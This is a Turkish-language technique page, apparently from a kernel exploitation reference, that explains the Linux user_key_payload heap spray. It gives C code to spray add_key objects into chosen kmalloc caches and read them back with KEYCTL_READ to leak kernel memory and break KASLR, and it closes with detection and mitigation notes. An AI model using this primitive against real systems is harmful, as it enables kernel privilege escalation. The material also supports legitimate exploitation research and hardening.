Skip to content

user_key_payload spray

"user" key tipiyle add_key syscall'unu kullanarak saldırgan kontrolündeki struct user_key_payload nesnelerini kmalloc cache'leri boyunca spray'le, sonra corrupt edilmiş içerikleri leak'lemek için onları KEYCTL_READ ile geri oku.

Mechanism

Kernel keyring subsystem'i, unprivileged task'ların add_key(2) aracılığıyla küçük blob'lar saklamasına izin verir. "user" key tipi için, payload bir struct user_key_payload içinde tutulur ve kullanıcının verdiği veri uzunluğunu takip eden bir boyutta kmalloc ile allocate edilir:

struct user_key_payload {
        struct rcu_head rcu;        /* RCU destructor */
        unsigned short  datalen;    /* length of this data */
        char            data[] __aligned(__alignof__(u64)); /* actual data */
};

Note

Nesne klasik spray invariant'ını sağlar: size saldırgan kontrolündedir (kernel allocation'ı sizeof(struct user_key_payload) + datalen'dir) ve küçük header'ın ötesindeki içerik saldırgan kontrolündedir (data[]'deki her şey). datalen'i değiştirerek, aynı syscall nesneleri kmalloc-32'den kmalloc-4k'ya kadar indirir, dolayısıyla neredeyse her genel amaçlı slab cache'i hedefleyebilir. Önemlisi, nesne kalıcıdır: hemen free olan msg_msg ya da setxattr buffer'larının aksine, key unlink/revoke edilene kadar allocate edilmiş kalır.

Leak primitive'i KEYCTL_READ'ten gelir: data[]'in datalen byte'a kadarını userspace'e geri kopyalar. Bir use-after-free ya da overflow bitişik bir user_key_payload'u corrupt ederse — datalen'i büyük bir değerle overwrite ederek ya da data[]'e bir kernel pointer yazarak — key'i geri okumak o out-of-bounds ya da enjekte edilmiş veriyi açığa çıkarır. Bu, sınırlı bir write'ı bir memory disclosure'a çevirir.

Walkthrough

"user" key tipiyle kontrol edilen boyutta bir spray nesnesi allocate et. add_key bir key serial döner, ki bu aynı zamanda sonraki read'ler için handle'dır:

#include <sys/syscall.h>
#include <keyutils.h>           /* or raw syscalls */

static inline int key_alloc(char *desc, void *payload, int len)
{
        return syscall(__NR_add_key, "user", desc,
                       payload, len, KEY_SPEC_PROCESS_KEYRING);
}

Hedef cache'i groom etmek için çok sayıda key spray'le. len'i öyle seçmek ki sizeof(struct user_key_payload) + len victim slab'ine düşsün tüm oyundur:

#define N 256
int keys[N];
char payload[0x200];
memset(payload, 'A', sizeof(payload));

for (int i = 0; i < N; i++) {
        char desc[16];
        sprintf(desc, "spray-%d", i);
        keys[i] = key_alloc(desc, payload, 0x1c0); /* -> kmalloc-512 */
        if (keys[i] < 0) { perror("add_key"); break; }
}

Bug bitişik bir payload'un datalen'ini corrupt ettikten (artık devasa) ya da data[]'e leak'lenen bir pointer yazdıktan sonra, onu geri oku:

char out[0x1000];
long n = syscall(__NR_keyctl, KEYCTL_READ, keys[i],
                 out, sizeof(out));
/* n bytes copied; if datalen was overwritten with a large value,
   out[] now contains adjacent kernel heap (OOB read / pointer leak). */
printf("leaked %ld bytes, first qword = %#lx\n", n, *(unsigned long *)out);

Beklenen: datalen corrupt edildiğinde read orijinal 0x1c0 byte'tan fazlasını döner ve buffer bitişik slab nesnelerini içerir — örneğin CVE-2022-32250 nf_tables UAF'sinde, bir nft_set'in bindings list'inin adresi payload'a yazıldı ve KASLR'ı bozmak için userland'den geri okundu.

Talep üzerine free etme

keyctl(KEYCTL_UNLINK, key, keyring) (ya da KEYCTL_REVOKE) key'i düşürür, ki bu user_key_payload'u RCU ile free eder. Bu, diğer elastic objects'e benzer şekilde, cross-cache ya da free-then-reuse kurulumları için kontrollü zamanlama verir.

Detection

Unprivileged process'lerin olağandışı payload-length dağılımlarıyla add_key("user", ...) patlamaları yapması ve hemen ardından KEYCTL_READ gelmesi bir heap-grooming imzasıdır. /proc/keys ve kullanıcı-başına key kotası (/proc/sys/kernel/keys/maxbytes, maxkeys) anormal key popülasyonunu açığa çıkarır.

Mitigation

user.maxbytes/user.maxkeys kotaları UID başına ne kadar spray'lenebileceğini sınırlar ve tekniği kısıtlar. CONFIG_SLAB_FREELIST_RANDOM ve RANDOM_KMALLOC_CACHES adjacency güvenilirliğini azaltır. Genel olarak herhangi bir universal heap spray ve slab grooming'e uygulanan aynı hardening burada da geçerlidir.

References